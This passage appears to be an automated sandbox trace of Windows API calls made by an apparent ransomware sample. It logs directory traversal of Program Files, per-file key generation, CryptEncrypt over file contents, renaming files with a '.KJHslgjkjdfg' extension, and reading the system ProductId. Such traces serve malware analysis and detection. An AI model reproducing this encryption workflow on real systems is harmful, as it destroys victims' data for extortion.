ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.887] GetProcessHeap () returned 0x2ef0000 [0190.887] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0190.887] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.887] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0190.887] GetProcessHeap () returned 0x2ef0000 [0190.887] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x288) returned 0x2f10788 [0190.887] GetProcessHeap () returned 0x2ef0000 [0190.887] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0190.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.887] GetProcessHeap () returned 0x2ef0000 [0190.887] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0190.887] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.887] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0190.887] GetProcessHeap () returned 0x2ef0000 [0190.887] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f16e68 [0190.887] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0190.887] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.888] GetProcessHeap () returned 0x2ef0000 [0190.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0190.888] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0190.888] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0190.888] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.888] GetProcessHeap () returned 0x2ef0000 [0190.888] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.888] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0190.888] GetProcessHeap () returned 0x2ef0000 [0190.888] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x9a) returned 0x2f48d78 [0190.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.889] GetProcessHeap () returned 0x2ef0000 [0190.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f48d78 | out: hHeap=0x2ef0000) returned 1 [0190.889] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.889] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="14", cAlternateFileName="")) returned 1 [0190.889] GetProcessHeap () returned 0x2ef0000 [0190.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29c) returned 0x2f10788 [0190.889] GetProcessHeap () returned 0x2ef0000 [0190.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f455c0 [0190.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.890] GetProcessHeap () returned 0x2ef0000 [0190.890] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0190.890] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.890] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIN", cAlternateFileName="")) returned 1 [0190.890] GetProcessHeap () returned 0x2ef0000 [0190.890] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f16e68 [0190.890] GetProcessHeap () returned 0x2ef0000 [0190.890] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa8) returned 0x2f455c0 [0190.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0190.891] GetProcessHeap () returned 0x2ef0000 [0190.891] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0190.891] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.891] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0190.891] GetProcessHeap () returned 0x2ef0000 [0190.891] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2aa) returned 0x2f14588 [0190.891] GetProcessHeap () returned 0x2ef0000 [0190.891] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xb2) returned 0x2f3e6e0 [0190.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18348 [0190.892] GetProcessHeap () returned 0x2ef0000 [0190.892] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e6e0 | out: hHeap=0x2ef0000) returned 1 [0190.892] FindNextFileW (in: hFindFile=0x2f18348, lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.892] FindNextFileW (in: hFindFile=0x2f18348, lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0190.892] GetProcessHeap () returned 0x2ef0000 [0190.892] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2b4) returned 0x2f11d10 [0190.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.893] GetProcessHeap () returned 0x2ef0000 [0190.893] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.893] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfeaf8 | out: lpNewFilePointer=0x0) returned 1 [0190.893] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeb08*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeb08*, lpNumberOfBytesWritten=0x4dfead8*=0xb, lpOverlapped=0x0) returned 1 [0190.895] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfeadc | out: phKey=0x4dfeadc*=0x2f18388) returned 1 [0190.895] CryptSetKeyParam (hKey=0x2f18388, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.895] GetProcessHeap () returned 0x2ef0000 [0190.895] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.895] CryptEncrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfeac0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfeac0*=0x30) returned 1 [0190.895] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.895] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfead8*=0x30, lpOverlapped=0x0) returned 1 [0190.895] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeae0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeae0*, lpNumberOfBytesWritten=0x4dfead8*=0x4, lpOverlapped=0x0) returned 1 [0190.896] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfead8*=0x10, lpOverlapped=0x0) returned 1 [0190.896] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfead8*=0x80, lpOverlapped=0x0) returned 1 [0190.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfeb00 | out: lpNewFilePointer=0x0) returned 1 [0190.896] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeaf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeaf0*, lpNumberOfBytesWritten=0x4dfead8*=0x8, lpOverlapped=0x0) returned 1 [0190.896] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfeadc | out: phKey=0x4dfeadc*=0x2f18388) returned 1 [0190.896] CryptSetKeyParam (hKey=0x2f18388, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.896] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x296a5, lpNumberOfBytesRead=0x4dfeae4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeae4*=0x296a5, lpOverlapped=0x0) returned 1 [0190.899] CryptEncrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfeac0*=0x296b0, dwBufLen=0x296b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfeac0*=0x296b0) returned 1 [0190.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.901] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x4dfead8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfead8*=0x296b0, lpOverlapped=0x0) returned 1 [0190.901] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x29774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.901] SetEndOfFile (hFile=0x114) returned 1 [0190.905] GetProcessHeap () returned 0x2ef0000 [0190.905] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.905] GetProcessHeap () returned 0x2ef0000 [0190.905] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.kjhslgjkjdfg")) returned 1 [0190.906] CloseHandle (hObject=0x114) returned 1 [0190.910] FindNextFileW (in: hFindFile=0x2f18348, lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0190.910] GetProcessHeap () returned 0x2ef0000 [0190.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.910] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18388) returned 1 [0190.910] CryptDecrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfe910 | out: pbData=0x2f0c898, pdwDataLen=0x4dfe910) returned 1 [0190.910] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.910] GetProcessHeap () returned 0x2ef0000 [0190.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.910] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18388) returned 1 [0190.910] CryptDecrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfe910 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfe910) returned 1 [0190.910] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.910] GetProcessHeap () returned 0x2ef0000 [0190.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0190.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18388) returned 1 [0190.911] CryptDecrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dfe910 | out: pbData=0x2f3e278, pdwDataLen=0x4dfe910) returned 1 [0190.911] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.911] GetProcessHeap () returned 0x2ef0000 [0190.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0190.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe480, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18388) returned 1 [0190.911] CryptDecrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe4f0 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe4f0) returned 1 [0190.911] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.911] GetProcessHeap () returned 0x2ef0000 [0190.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0190.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe480, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18388) returned 1 [0190.911] CryptDecrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfe4f0 | out: pbData=0x2f11700, pdwDataLen=0x4dfe4f0) returned 1 [0190.911] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.911] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe4ec | out: phkResult=0x4dfe4ec*=0x114) returned 0x0 [0190.911] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe4f8, lpcbData=0x4dfe4f4*=0x400 | out: lpType=0x0, lpData=0x4dfe4f8*=0x30, lpcbData=0x4dfe4f4*=0x18) returned 0x0 [0190.911] RegCloseKey (hKey=0x114) returned 0x0 [0190.911] GetProcessHeap () returned 0x2ef0000 [0190.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.912] GetProcessHeap () returned 0x2ef0000 [0190.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0190.912] GetProcessHeap () returned 0x2ef0000 [0190.912] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0190.912] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe260, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18388) returned 1 [0190.912] CryptDecrypt (in: hKey=0x2f18388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfe2c4 